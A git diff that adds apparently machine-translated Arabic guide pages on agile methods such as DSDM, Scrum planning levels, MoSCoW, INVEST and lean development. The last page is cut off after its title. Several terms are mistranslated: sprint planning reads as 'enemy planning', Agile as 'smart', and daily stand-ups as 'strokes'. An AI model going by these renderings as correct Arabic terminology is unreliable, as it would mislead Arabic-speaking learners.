diff --git a/client/src/guide/arabic/agile/dsdm/index.md b/client/src/guide/arabic/agile/dsdm/index.md
new file mode 100644
index 0000000000..885ba6fbde
--- /dev/null
+++ b/client/src/guide/arabic/agile/dsdm/index.md
@@ -0,0 +1,22 @@
+---
+title: DSDM
+localeTitle: DSDM
+---
+## DSDM
+
+DSDM لتقف على طريقة تطوير النظم الديناميكية. إنها منهجية التطور السريع السريع ، وتهدف إلى معالجة المشكلة المستمرة لطول المدة التي يستغرقها تطوير نظم المعلومات. DSDM هو إطار عمل أكثر من طريقة محددة بدقة ، والكثير من التفاصيل حول كيفية القيام بالأمور في الواقع يتم تركها لمؤسسة تطوير البرمجيات أو الفرد لاتخاذ القرار. تتبنى DSDM مقاربة تدريجية وتستخدم مفهوم RAD (التطوير السريع للتطبيق) لل timeboxing. كما أنه يؤكد على الدور الرئيسي للناس في عملية التنمية ويوصف بأنه نهج يركز على المستخدم.
+
+يحتوي DSDM على 9 مبادئ أساسية ، على النحو التالي:
+
+1) مشاركة المستخدم النشطة أمر حتمي. 2) يجب تمكين الفرق من اتخاذ القرارات. المتغيرات الرئيسية الأربعة للتمكين هي: السلطة والموارد والمعلومات والمساءلة. 3) التسليم المتكرر للمنتجات أمر ضروري. 4) اللياقة البدنية لغرض العمل هو المعيار الأساسي لقبول التسليمات. 5) التطوير التكراري والتزايدي ضروري للتلاقي على حل تجاري دقيق. 6) جميع التغييرات التي تطرأ أثناء التطوير قابلة للانعكاس (أي أنك لا تمضي قدمًا في مسار معين إذا واجهتك مشاكل ؛ يمكنك الرجوع إلى آخر نقطة آمنة أو متفق عليها ، ثم البدء في مسار جديد). 7) المتطلبات الأساسية على مستوى عال (أي متطلبات الأعمال رفيعة المستوى ، بمجرد الاتفاق عليها ، مجمدة). هذا هو في جوهره نطاق المشروع. 8) يتم دمج الاختبار طوال دورة الحياة (أي اختبار أثناء التنقل بدلاً من الاختبار فقط في النهاية حيث يتم ضغطه بشكل متكرر). 9) من الضروري اتباع نهج تعاوني وتعاوني بين جميع أصحاب المصلحة.
+
+المراحل الرئيسية الخمسة لدورة تطوير DSDM هي:
+
+1) دراسة الجدوى. 2) دراسة الأعمال. 3) تكرار النموذج الوظيفي. 4) تصميم النظام وبناء التكرار. 5) التنفيذ.
+
+#### معلومات اكثر:
+
+يمكنك قراءة الروابط التالية لمعرفة المزيد.
+
+*   [Agile Business - ما هو DSDM؟](https://www.agilebusiness.org/what-is-dsdm)
+*   [ويكيبيديا - طريقة تطوير النظم الديناميكية](https://en.wikipedia.org/wiki/Dynamic_systems_development_method)
\ No newline at end of file
diff --git a/client/src/guide/arabic/agile/epics/index.md b/client/src/guide/arabic/agile/epics/index.md
new file mode 100644
index 0000000000..3d0d063c3f
--- /dev/null
+++ b/client/src/guide/arabic/agile/epics/index.md
@@ -0,0 +1,17 @@
+---
+title: Epics
+localeTitle: الملاحم
+---
+## الملاحم
+
+الملحمة هي عبارة عن قصة مستخدم كبيرة لا يمكن تسليمها على النحو المحدد ضمن عملية تكرار واحدة أو كبيرة بما فيه الكفاية بحيث يمكن تقسيمها إلى قصص مستخدمين أصغر. تغطي الملاحم عادة شخصية معينة وتعطي فكرة عامة عما هو مهم بالنسبة للمستخدم. يمكن تقسيم الملحمة إلى قصص مستخدم متعددة تعرض مهام فردية يرغب الشخص / المستخدم في أدائها.
+
+لا يوجد نموذج قياسي لتمثيل الملاحم. تستخدم بعض الفرق تنسيقات القصص المألوفة للمستخدم (كما أ ، أريد ذلك ، لذا أو من أجل ، أ ، أريد) بينما تمثل الفرق الأخرى الملاحم بعبارة قصيرة.
+
+*   في حين أن القصص التي تضم ملحمة يمكن أن تكتمل بشكل مستقل ، فإن قيمة أعمالهم لم تتحقق حتى اكتمال الملحمة بأكملها
+
+### مثال ملحمي
+
+في تطبيق ما يساعد الرسامين المستقلين على تتبع مشاريعهم ، يمكن أن تكون ملحمة محتملة.
+
+يرغب Paul the Painter في الحصول على طريقة أسهل لإدارة مشاريعه وتزويد موكله بتغييرات دقيقة وفاتورة.
\ No newline at end of file
diff --git a/client/src/guide/arabic/agile/extreme-programming/index.md b/client/src/guide/arabic/agile/extreme-programming/index.md
new file mode 100644
index 0000000000..8f5ef35b2e
--- /dev/null
+++ b/client/src/guide/arabic/agile/extreme-programming/index.md
@@ -0,0 +1,15 @@
+---
+title: Extreme Programming
+localeTitle: البرمجة المتطرفة
+---
+## البرمجة المتطرفة
+
+البرمجة المتطرفة (XP) هي منهجية لتطوير البرمجيات تهدف إلى تحسين جودة البرامج والاستجابة لمتطلبات العملاء المتغيرة. [1](https://en.wikipedia.org/wiki/Extreme_programming)
+
+الميزة الأساسية ل XP هي أن العملية برمتها مرئية وقابلة للمساءلة. سوف يقدم المطورون التزامات ملموسة حول ما سيحققونه ، وإظهار تقدم ملموس في شكل برامج قابلة للنشر ، وعندما يتم الوصول إلى نقطة تحول ، سيصفون بالضبط ما فعلوه وكيف ولماذا يختلف عن الخطة. وهذا يسمح للأشخاص الموجهين نحو الأعمال التجارية بالوفاء بالتزاماتهم التجارية الخاصة بهم بثقة ، والاستفادة من الفرص عند ظهورهم ، والقضاء على الطرق المسدودة بسرعة وبتكلفة منخفضة. [2](http://wiki.c2.com/?ExtremeProgramming) - كنت بيك
+
+[![XP-ردود الفعل](https://upload.wikimedia.org/wikipedia/commons/4/44/XP-feedback.gif)](https://commons.wikimedia.org/wiki/File%3AXP-feedback.gif "بواسطة DonWells (عمل خاص) [CC BY 3.0 (http://creativecommons.org/licenses/by/3.0)] ، عبر ويكيميديا ​​كومنز")
+
+#### معلومات اكثر:
+
+[قواعد البرمجة المتطرفة](http://www.extremeprogramming.org/rules.html)
\ No newline at end of file
diff --git a/client/src/guide/arabic/agile/feature-based-planning/index.md b/client/src/guide/arabic/agile/feature-based-planning/index.md
new file mode 100644
index 0000000000..5f89c977cc
--- /dev/null
+++ b/client/src/guide/arabic/agile/feature-based-planning/index.md
@@ -0,0 +1,13 @@
+---
+title: Feature Based Planning
+localeTitle: تخطيط قائم على الميزة
+---
+## تخطيط قائم على الميزة
+
+يُعد **التخطيط استنادًا إلى ميزة** هي منهجية تخطيط يمكن استخدامها لتحديد متى يتم إصدار البرامج استنادًا إلى الميزات التي سيتم تسليمها للعملاء ، بدلاً من إصدار نهائي يعتمد على الموعد النهائي.
+
+في هذه الطريقة في تخطيط الإطلاق ، تقرر الفرق ما هي الميزة / الميزات التي يجب تحديد أولوياتها. استنادًا إلى نطاق هذه الميزات ، يمكن للفريق التنبؤ بموعد نشر الإصدار التالي.
+
+#### معلومات اكثر:
+
+[ميزة التنمية مدفوعة](https://en.wikipedia.org/wiki/Feature-driven_development)
\ No newline at end of file
diff --git a/client/src/guide/arabic/agile/five-levels-of-agile-planning/index.md b/client/src/guide/arabic/agile/five-levels-of-agile-planning/index.md
new file mode 100644
index 0000000000..175e1c6232
--- /dev/null
+++ b/client/src/guide/arabic/agile/five-levels-of-agile-planning/index.md
@@ -0,0 +1,32 @@
+---
+title: Five Levels of Agile Planning
+localeTitle: خمسة مستويات من التخطيط الرشيق
+---
+## خمسة مستويات من التخطيط الرشيق
+
+يجب أن يكون مالك المنتج على دراية بالمستويات الخمسة للتخطيط السريع:
+
+*   تحديد رؤية المنتج
+*   تحديد خريطة طريق المنتج
+*   تخطيط الإصدار
+*   تخطيط العدو
+*   المحاسبة لنتائج السكتات اليومية
+
+التخطيط السريع دائمًا مستمر ويجب مراجعته كل ثلاثة أشهر على الأقل.
+
+## موجز موجز من خمسة مستويات التخطيط الرشيق
+
+1.  رؤية المنتج: ما هي (ملخص الفوائد والميزات الرئيسية التي سيوفرها المنتج) ، من (أصحاب المصلحة) ، لماذا (الحاجة والفرصة) ، متى (جدولة المشروع وتوقعات الوقت) ، القيود وافتراضات (مخاطر المخاطر والتكلفة).
+    
+2.  خارطة طريق المنتج: الإصدارات - التاريخ ، الموضوع / مجموعة الميزات ، الهدف ، مقاربة التطوير.
+    
+3.  تخطيط الإصدار: التكرارات ، سعة الفريق ، القصص ، الأولوية ، الحجم ، التقديرات ، تعريف العمل.
+    
+4.  تخطيط العدو: القصص - المهام ، تعريف العمل ، مستوى الجهد ، الالتزام
+    
+5.  التخطيط اليومي: ماذا فعلت أمس؟ ماذا سأفعل اليوم؟ ما الذي يمنعني؟
+    
+
+#### معلومات اكثر:
+
+[خمسة مستويات من التخطيط الرشيق](https://www.scrumalliance.org/why-scrum/agile-atlas/agile-atlas-common-practices/planning/january-2014/five-levels-of-agile-planning)
\ No newline at end of file
diff --git a/client/src/guide/arabic/agile/functional-managers/index.md b/client/src/guide/arabic/agile/functional-managers/index.md
new file mode 100644
index 0000000000..10d2bd58a0
--- /dev/null
+++ b/client/src/guide/arabic/agile/functional-managers/index.md
@@ -0,0 +1,12 @@
+---
+title: Functional Managers
+localeTitle: المديرين الفنيين
+---
+## المديرين الفنيين
+
+المدير الوظيفي هو شخص لديه سلطة إدارية على مجموعة من الأشخاص. تأتي هذه السلطة من الوضع الرسمي لذلك الشخص في المنظمة (على سبيل المثال ، مدير القسم ، مدير قسم الجودة ، مدير فريق التطوير). دور المديرين الوظيفيين يختلف عن مدراء المشاريع أو ScrumMasters وليس على أساس المشروع.  
+في المزيد من المنظمات رشيقة توجد نماذج مختلفة. غالباً ما يكون المدير الوظيفي مسؤولاً عن تطوير الأفراد في مجموعاتهم ، وتأمين ميزانيات ووقت للناس. ومع ذلك ، فهناك أيضًا بعض نماذج شركة Agile حيث يتم توزيع المهام التي يتم تعيينها عادةً إلى المديرين الفنيين على أدوار أخرى داخل المؤسسة (مثل نموذج Spotify مع القبائل والنقابات والفصول والكتائب).
+
+في الخارج في عالم العمل التقليدي ، تنظم الشركات الناس في تسلسل هرمي. يتم تجميع الأشخاص الذين لديهم أدوار عمل مماثلة في مناطق وظيفية ويقودهم مدير وظيفي. المدير الوظيفي مسؤول بشكل عام عن توجيه ورفاه الموظفين الذين يقدمون تقاريرهم مباشرة إليها.
+
+غالباً ما تعمل فرق المشاريع الرشيقة مع المديرين الفنيين الذين يسيطرون على الموارد التي يحتاجها الفريق لإنجاز العمل. مثال على ذلك هو العمل مع مدير وظيفي في المشتريات لتعيين شخص للعمل مع الفريق لشراء تراخيص البرامج.
\ No newline at end of file
diff --git a/client/src/guide/arabic/agile/index.md b/client/src/guide/arabic/agile/index.md
new file mode 100644
index 0000000000..6fc4033609
--- /dev/null
+++ b/client/src/guide/arabic/agile/index.md
@@ -0,0 +1,19 @@
+---
+title: Agile
+localeTitle: ذكي
+---
+## ذكي
+
+تطوير البرمجيات رشيق هو مجموعة من المنهجيات المستخدمة لإدارة فرق من المطورين. وهي تدعو إلى التخطيط التكيفي ، والتطوير التطوري ، والتسليم المبكر ، والتحسين المستمر ، وتشجع على الاستجابة السريعة والمرنة للتغيير. يعتبر الناس والتواصل أكثر أهمية من الأدوات والعمليات.
+
+تؤكد Agile على مطالبة المستخدمين النهائيين بما يريدون ، وكثيراً ما تعرض لهم عروض تجريبية للمنتج أثناء تطويره. وهذا يتناقض مع مقاربة "الشلال" ، والتنمية المدفوعة بالمواصفات ، وما يسميه ممارسو أجيليل "التصميم الكبير الأمامي". في هذه الطرق ، يتم تخطيط الميزات ووضعها في الميزانية قبل بدء التطوير.
+
+مع Agile ، يكون التركيز على "الرشاقة" - القدرة على الاستجابة السريعة للتعليقات من المستخدمين والظروف المتغيرة الأخرى.
+
+![فيلم كوميدي من Commitstrip.com يعرض مدير منتج يشرح للمطور أنه يتحول إلى رشيقة ، ولكن يطلب من المطور أن يخطط لكل شيء في المقدمة](https://www.commitstrip.com/wp-content/uploads/2017/01/Strip-Budegt-fixe-pour-projet-flexible-english650-final.jpg)
+
+هناك العديد من النكهات المختلفة من الرشاقة ، بما في ذلك Scrum والبرمجة المتطرفة.
+
+### معلومات اكثر
+
+[Agile Alliance's Homepage](https://www.agilealliance.org/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/agile/integration-hell/index.md b/client/src/guide/arabic/agile/integration-hell/index.md
new file mode 100644
index 0000000000..c7cc494c4a
--- /dev/null
+++ b/client/src/guide/arabic/agile/integration-hell/index.md
@@ -0,0 +1,22 @@
+---
+title: Integration Hell
+localeTitle: التكامل الجحيم
+---
+## التكامل الجحيم
+
+Integration Hell هو مصطلح عام يتجلى عندما يمر جميع أعضاء فريق التطوير بعملية تنفيذ التعليمات البرمجية الخاصة بهم في أوقات عشوائية مع عدم وجود طريقة لدمج أجزاء التعليمات البرمجية المختلفة في سلسلة واحدة من الكود. سيضطر فريق التطوير إلى قضاء عدة ساعات أو أيام في اختبار وتغيير الرمز للحصول على كل شيء للعمل.
+
+من الناحية العملية ، يتم تطوير المكونات الأطول في عزلة ، وكلما تميزت الواجهات بين ما هو متوقع. عندما يتم دمج المكونات أخيراً في نهاية المشروع ، سيستغرق وقتاً أطول بكثير من تخصيصها ، وغالباً ما يؤدي إلى ضغوط المواعيد النهائية ، والتكامل الصعب. هذا العمل المؤلم التكامل في نهاية المشروع هو الجحيم مسمى.
+
+التكامل المستمر ، الفكرة القائلة بأنه يجب على فريق التطوير استخدام أدوات محددة من أجل "الدمج المستمر" لأجزاء الشفرة التي يعملون عليها عدة مرات في اليوم ، بحيث يمكن للأدوات أن تتطابق مع "أجزاء" الكود المختلفة معًا لتتكامل أكثر بسلاسة. من ذي قبل.
+
+تسمح مستودعات التعليمات البرمجية ، مثل Git (والواجهة المفتوحة المصدر التي نعرفها ونحبها بالكامل ، GitHub) لفرق التطوير بتنظيم جهودهم بحيث يمكن إنفاق المزيد من الوقت في الترميز ووقت أقل للقلق إذا كانت الأجزاء المختلفة من الشفرة سوف تتكامل.
+
+[التكامل المستمر](https://guide.freecodecamp.org/agile/continuous-integration/) هو ترياق Agile لهذه المشكلة. لا يزال التكامل مؤلمًا ، لكن القيام بذلك على الأقل يوميًا يبقي على الواجهات بعيدة عن التباعد كثيرًا.
+
+#### معلومات اكثر:
+
+*   [تجنب التكامل الجحيم](https://tobeagile.com/2017/03/08/avoiding-integration-hell/)
+*   [التكامل الجحيم](http://wiki.c2.com/?IntegrationHell)
+*   [أعلى 5 نصائح لتجنب "التكامل الجحيم" مع التكامل المستمر](https://www.apicasystems.com/blog/top-5-tips-avoid-integration-hell-continuous-integration/)
+*   [مقال D-Zone حول Integration Hell وكيف ساعد التكامل المستمر على جعله شيئًا من الماضي تقريبًا](https://dzone.com/articles/continuous-integration-how-0)
\ No newline at end of file
diff --git a/client/src/guide/arabic/agile/invest/index.md b/client/src/guide/arabic/agile/invest/index.md
new file mode 100644
index 0000000000..9cb24def44
--- /dev/null
+++ b/client/src/guide/arabic/agile/invest/index.md
@@ -0,0 +1,27 @@
+---
+title: INVEST
+localeTitle: استثمار
+---
+## استثمار
+
+**أنا** | **مستقل** ----- | -----  
+**ن** | **قابل للتفاوض** **V** | **ذو قيمة** **ه** | **جدير بالاحترام** **S** | **صغير** **تي** | **قابلة للاختبار**
+
+عندما تقوم بتكرير وتحجيم "قصص المستخدم" في backlog ، يمكن أن يساعدك التذكير INVEST في تحديد ما إذا كانت جاهزة
+
+*   مستقل
+*   القصة متميزة بقدر الإمكان عن القصص الأخرى. تجنب "طابقين في واحد".
+*   قابل للتفاوض
+*   كجزء من المحادثة بين مالك المنتج وفريق التسليم أثناء الاستمالة ، يمكن مناقشة تفاصيل القصة وصقلها وتحسينها. يمكن تعديل معايير القبول بناءً على انحسار وتدفق احتياجات العملاء والقدرات التقنية.
+*   ذو قيمة
+*   هناك قيمة للعميل. الأموال المكتسبة ، والوقت المحفوظة ، والكفاءة المكتسبة ، والخسارة المتوقفة ، وما إلى ذلك من خلال تنفيذ القصة.
+*   جدير بالاحترام
+*   خلال الحياكة ، تناول الوصف والحديث للقصة ما يكفي من الأسئلة من فريق التسليم بحيث يمكنهم بثقة وقراءة مريحة للقصة.
+*   صغير
+*   يمكنك إكمال القصة ضمن التكرار الثابت.
+*   قابل للاختبار
+*   تتضمن القصة معايير القبول التي ستستخدمها للتأكيد على أن الشفرة تلبي احتياجات العميل.
+
+#### معلومات اكثر:
+
+[الكثير على جوجل](https://www.google.com/search?q=agile+invest+negotiable&ie=utf-8&oe=utf-8)
\ No newline at end of file
diff --git a/client/src/guide/arabic/agile/kano-analysis/index.md b/client/src/guide/arabic/agile/kano-analysis/index.md
new file mode 100644
index 0000000000..de558d55e6
--- /dev/null
+++ b/client/src/guide/arabic/agile/kano-analysis/index.md
@@ -0,0 +1,11 @@
+---
+title: Kano Analysis
+localeTitle: تحليل كانو
+---
+## تحليل كانو
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/agile/kano-analysis/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/agile/lean-software-development/index.md b/client/src/guide/arabic/agile/lean-software-development/index.md
new file mode 100644
index 0000000000..dcf1ebcd6b
--- /dev/null
+++ b/client/src/guide/arabic/agile/lean-software-development/index.md
@@ -0,0 +1,38 @@
+---
+title: Lean Software Development
+localeTitle: تطوير البرمجيات العجاف
+---
+## تطوير البرمجيات العجاف
+
+### المقدمة
+
+Lean Software Development هي عملية بناء البرمجيات مع التركيز على استخدام التقنيات التي تقلل من العمل الإضافي والجهد الضائع. يتم استعارة هذه التقنيات من حركة التصنيع اللين وتطبيقها على سياق تطوير البرمجيات.
+
+### المفاهيم الرئيسية
+
+هناك سبعة مبادئ في المنهجية والتي تشمل:
+
+1.  القضاء على النفايات
+2.  تضخيم التعلم
+3.  تقرر في وقت متأخر قدر الإمكان
+4.  تسليم في أسرع وقت ممكن
+5.  تمكين الفريق
+6.  بناء النزاهة في
+7.  شاهد الكل
+
+### الاستعارات
+
+يُنظر إلى عملية البرمجة على أنها خط تجميع ، حيث تسمى كل ميزة أو إصلاح أخطاء "طلب تغيير". يمكن عندئذٍ اعتبار خط التجميع هذا لـ "طلبات التغيير" على أنه "تيار قيمة" بحيث يكون الهدف هو تقليل الوقت الذي يقع فيه كل "طلب تغيير" على السطر قبل تسليمه.
+
+تعتبر البرامج التي لم يتم تسليمها بعد "مخزونًا" نظرًا لأنها لم تقدم بعد قيمة للشركة أو العميل. يتضمن ذلك أي برنامج مكتمل جزئيًا. لذلك ، من أجل زيادة الإنتاجية إلى أقصى الحدود ، من المهم تقديم العديد من أجزاء العمل الصغيرة الكاملة.
+
+من أجل تقليل "المخزون" ، من المهم فصل السيطرة إلى "العمال" الذين سيكونون مطوري البرمجيات ، لأنهم سيكونون أفضل تجهيزًا لإنشاء عمليات آلية "لإثبات الخطأ" في الأجزاء المختلفة من خط التجميع.
+
+### المراجع
+
+المصدر الأصلي للوثائق المكتوبة حول تقنيات Lean هو كتاب Lean Software Development ، مجموعة أدوات Agile Tool من تأليف Mary و Tom Poppendieck.
+
+الكتب الإضافية التي كتبها المؤلف (المؤلفون) تشمل:
+
+*   تنفيذ تطوير البرمجيات العجاف: من المفهوم إلى النقد من قبل ماري Poppendieck
+*   قيادة تطوير البرمجيات العجاف: النتائج ليست نقطة من قبل ماري Poppendieck
\ No newline at end of file
diff --git a/client/src/guide/arabic/agile/meta-scrum/index.md b/client/src/guide/arabic/agile/meta-scrum/index.md
new file mode 100644
index 0000000000..603686d733
--- /dev/null
+++ b/client/src/guide/arabic/agile/meta-scrum/index.md
@@ -0,0 +1,11 @@
+---
+title: Meta Scrum
+localeTitle: سكروم ميتا
+---
+## ميتا سكروم
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/agile/meta-scrum/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/agile/minimum-marketable-features/index.md b/client/src/guide/arabic/agile/minimum-marketable-features/index.md
new file mode 100644
index 0000000000..363475f92f
--- /dev/null
+++ b/client/src/guide/arabic/agile/minimum-marketable-features/index.md
@@ -0,0 +1,25 @@
+---
+title: Minimum Marketable Features
+localeTitle: الحد الأدنى من الميزات القابلة للتسويق
+---
+## الحد الأدنى من الميزات القابلة للتسويق
+
+الميزة القابلة للتسويق (MMF) هي ميزة قائمة بذاتها يمكن تطويرها بسرعة وتعطي قيمة كبيرة للمستخدم.
+
+**من المهم ملاحظة ما يلي:** ميزة الحد الأدنى للتسويق ليست هي نفس الحد الأدنى من المنتج القابل للتطبيق (MVP). إنها مفاهيم مختلفة. ومع ذلك ، كلاهما ضروري لدعم فكرة أن المطورين يجب أن نسعى للحصول على الحد الأدنى من الوظائف من أجل تحقيق أي نتيجة معينة.
+
+تقسيم MMF إلى مكوناته الأساسية:
+
+**الحد الأدنى** - أصغر مجموعة من الوظائف. هذا أمر ضروري للحصول على أي ميزة للسوق بسرعة
+
+**قابل للتسويق** - بيع المستخدم النهائي أو المؤسسة التي تحتوي على قيمة كبيرة
+
+**ميزة** - القيمة percieved من قبل المستخدم النهائي. ماذا يعطيني؟ إعتراف بعلامة تجارية؟ المزيد من الإيرادات؟ مساعدة في خفض التكاليف؟ هل يعطيني ميزة تنافسية؟
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
+
+### مصادر
+
+1. [https://www.agilealliance.org/glossary/mmf/ تم الوصول إليه: 25 من تشرين الأول 2017](https://www.agilealliance.org/glossary/mmf/) 2. [https://www.prokarma.com/blog/2015/10/23/minimum-marketable-features-agile-essential تاريخ الوصول: 25 أكتوبر ، 2017](https://www.prokarma.com/blog/2015/10/23/minimum-marketable-features-agile-essential)
\ No newline at end of file
diff --git a/client/src/guide/arabic/agile/minimum-viable-product/index.md b/client/src/guide/arabic/agile/minimum-viable-product/index.md
new file mode 100644
index 0000000000..a1fab49c6c
--- /dev/null
+++ b/client/src/guide/arabic/agile/minimum-viable-product/index.md
@@ -0,0 +1,15 @@
+---
+title: Minimum Viable Product
+localeTitle: الحد الأدنى المنتج قابلة للحياة
+---
+## الحد الأدنى المنتج قابلة للحياة
+
+تكمن الفكرة في إنشاء مجموعة بسيطة من الميزات بسرعة كافية لنشر المنتج واختبار الافتراضات الأساسية حول تفاعلات العملاء مع المنتج.
+
+#### يحتوي منتج الحد الأدنى القابل للتطبيق على ثلاث خصائص رئيسية:
+
+*   لديها قيمة كافية بحيث يكون الناس على استعداد لاستخدامها أو شرائها في البداية.
+*   إنه يوضح فائدة مستقبلية كافية للاحتفاظ بالاعتماد الأوائل.
+*   يوفر حلقة تغذية مرتدة لتوجيه التطوير المستقبلي.
+
+تعلم المزيد عن MVP: [ما هو mvp؟](https://youtu.be/MHJn_SubN4E)
\ No newline at end of file
diff --git a/client/src/guide/arabic/agile/moscow/index.md b/client/src/guide/arabic/agile/moscow/index.md
new file mode 100644
index 0000000000..da7239f696
--- /dev/null
+++ b/client/src/guide/arabic/agile/moscow/index.md
@@ -0,0 +1,50 @@
+---
+title: Moscow
+localeTitle: موسكو
+---
+## موسكو
+
+## طريقة MoSCoW
+
+أحد معاني هذه الكلمة هو طريقة MoSCoW - وهي تقنية تحديد الأولويات المستخدمة في الإدارة ، وتحليل الأعمال ، وإدارة المشاريع ، وتطوير البرمجيات للوصول إلى فهم مشترك مع أصحاب المصلحة حول الأهمية التي يضعونها في تقديم كل متطلبات - والمعروف أيضًا باسم تحديد أولويات MoSCoW أو تحليل MoSCoW.
+
+## تحديد أولويات متطلبات MoSCoW
+
+جميع المتطلبات مهمة ، ولكن يتم تحديد أولوياتها لتقديم أكبر فوائد الأعمال وأقربها في وقت مبكر. سيحاول المطورون في البداية تقديم كل ما يجب أن يكون ، ويجب أن يكون لديه ، ويمكن أن يكون لديه متطلبات ، لكن متطلبات Should و Could ستكون أول من يتم إزالته إذا كان الجدول الزمني للتسليم يبدو مهددًا.
+
+إن لمعنى اللغة الإنجليزية البسيط لفئات الأولويات قيمة في حث العملاء على فهم تأثير تحديد الأولوية بشكل أفضل ، مقارنة بالبدائل مثل High، Medium و Low.
+
+يتم فهم الفئات عادة على النحو التالي:
+
+## يجب ان يملك
+
+ `Requirements labeled as Must have are critical to the current delivery timebox in order for it to be a success. If even one Must have requirement is not included, the project delivery should be considered a failure. MUST can also be considered an acronym for the Minimum Usable SubseT. 
+` 
+
+## يجب ان
+
+ `Requirements labeled as Should have are important but not necessary for delivery in the current delivery timebox. While Should have requirements can be as important as Must have, they are often not as time-critical or there may be another way to satisfy the requirement, so that it can be held back until a future delivery timebox. 
+` 
+
+## قد يكون له
+
+ `Requirements labeled as Could have are desirable but not necessary, and could improve user experience or customer satisfaction for little development cost. These will typically be included if time and resources permit. 
+` 
+
+## لن يكون
+
+ `Requirements labeled as Won't have have been agreed by stakeholders as the least-critical, lowest-payback items, or not appropriate at that time. As a result, Won't have requirements are not planned into the schedule for the next delivery timebox. Won't have requirements are either dropped or reconsidered for inclusion in a later timebox. 
+` 
+
+تعد MoSCoW طريقة حبيبية خشنة لتحديد أولويات (تصنيف) عناصر تراكم المنتجات (أو المتطلبات ، حالات الاستخدام ، قصص المستخدمين ... حسب المنهجية المستخدمة). وكثيرا ما يستخدم MoSCoW مع timeboxing ، حيث يتم تحديد موعد نهائي بحيث يكون التركيز على أهم المتطلبات. مصطلح MoSCoW نفسه هو اختصار مستمد من الحرف الأول من كل فئة من فئات الأربع (يجب أن يكون ، يجب أن يكون ، قد يكون ، ولن يكون):
+
+*   **يجب أن يكون** : حاسمة إلى timebox التسليم الحالي من أجل أن يكون ناجحا. وهو عادة جزء من MVP (منتج قابل للتطبيق بحد أدنى).
+*   **يجب أن يكون** : مهم ولكنه غير ضروري للتسليم في timebox التسليم الحالي.
+*   **يمكن أن يكون** : من المرغوب فيه ولكن ليس من الضروري ، وهو تحسن.
+*   **لن يكون لديك** : العناصر الأقل حرجًا أو أقل الاسترداد أو غير مناسبة في الوقت الحالي.
+
+من خلال تحديد الأولويات بهذه الطريقة ، يمكن الوصول إلى تعريف مشترك للمشروع وتعيين توقعات أصحاب المصلحة وفقًا لذلك. لاحظ أن MoSCoW هو قليل التراخي حول كيفية التمييز بين فئة عنصر وعندما يتم القيام بشيء ما ، إن لم يكن في هذا timebox.
+
+#### معلومات اكثر:
+
+[ويكيبيديا](https://en.wikipedia.org/wiki/MoSCoW_method)
\ No newline at end of file
diff --git a/client/src/guide/arabic/agile/nonfunctional-requirements/index.md b/client/src/guide/arabic/agile/nonfunctional-requirements/index.md
new file mode 100644
index 0000000000..68a052f1ac
--- /dev/null
+++ b/client/src/guide/arabic/agile/nonfunctional-requirements/index.md
@@ -0,0 +1,26 @@
+---
+title: Nonfunctional Requirements
+localeTitle: متطلبات غير مجدية
+---
+## متطلبات غير مجدية
+
+المتطلبات غير الوظيفية (NFR) هو مطلب يحدد المعايير التي يمكن استخدامها للحكم على تشغيل النظام ، بدلاً من السلوكيات المحددة (متطلب وظيفي). غالبًا ما تُسمى المتطلبات غير الوظيفية "سمات الجودة" أو "القيود" أو "المتطلبات غير السلوكية".
+
+بشكل غير رسمي ، يطلق عليها أحيانًا "مهارات" ، من سمات مثل الاستقرار وسهولة الحمل. يمكن تقسيم NFRs إلى فئتين رئيسيتين:
+
+*   **صفات التنفيذ** ، مثل السلامة والأمان وسهولة الاستخدام ، والتي يمكن ملاحظتها أثناء التشغيل (وقت التشغيل).
+*   **خصائص التطور** ، مثل قابلية الاختبار ، والقابلية للصيانة ، والقابلية للتوسع والقابلية للتطوير ، والتي تتجسد في البنية الثابتة للنظام
+
+عادة يمكنك تحسين المتطلبات غير الوظيفية في مجموعة من المتطلبات الوظيفية كطريقة للتفصيل والسماح للاختبار (الجزئي) والتحقق من الصحة.
+
+### أمثلة:
+
+*   يجب أن تطبع الطابعة 5 ثوان بعد الضغط على الزر
+*   يجب كتابة الكود في جافا
+*   يجب أن تكون واجهة المستخدم قابلة للملاحة بسهولة
+
+#### معلومات اكثر:
+
+*   [مقالة ويكيبيديا](https://en.wikipedia.org/wiki/Non-functional_requirement)
+*   [ReQtest](http://reqtest.com/requirements-blog/functional-vs-non-functional-requirements/) يشرح الفرق بين المتطلبات الوظيفية وغير الوظيفية
+*   [تحجيم رشيق](http://www.scaledagileframework.com/nonfunctional-requirements/) يعمل من خلال عملية من العثور على اختبار متطلبات غير وظيفية
\ No newline at end of file
diff --git a/client/src/guide/arabic/agile/osmotic-communications/index.md b/client/src/guide/arabic/agile/osmotic-communications/index.md
new file mode 100644
index 0000000000..0ce12272e0
--- /dev/null
+++ b/client/src/guide/arabic/agile/osmotic-communications/index.md
@@ -0,0 +1,12 @@
+---
+title: Osmotic Communications
+localeTitle: Osmotic Communications
+---
## Osmotic Communications
+
+**تعد شركة Osmotic Communications** واحدة من العوامل الهامة لمشروع رشيق ناجح.
+
+في مشروع رشيق ، عادة ما يتواجد أعضاء الفريق في نفس المكان ، وسوف تتدفق أي مناقشات بين بعض أعضاء الفريق إلى أعضاء الفريق الآخرين. يمكنهم بعد ذلك التقاط المعلومات ذات الصلة والانضمام للمناقشة عند الضرورة.
+
+#### معلومات اكثر:
+
+https://www.projectmanagement.com/wikis/295442/Osmotic-Communications http://agilemodeling.com/essays/communication.htm
\ No newline at end of file
diff --git a/client/src/guide/arabic/agile/pair-programming/index.md b/client/src/guide/arabic/agile/pair-programming/index.md
new file mode 100644
index 0000000000..84f3dc7c11
--- /dev/null
+++ b/client/src/guide/arabic/agile/pair-programming/index.md
@@ -0,0 +1,12 @@
+---
+title: Pair Programming
+localeTitle: برمجة الزوج
+---
+## برمجة الزوج
+
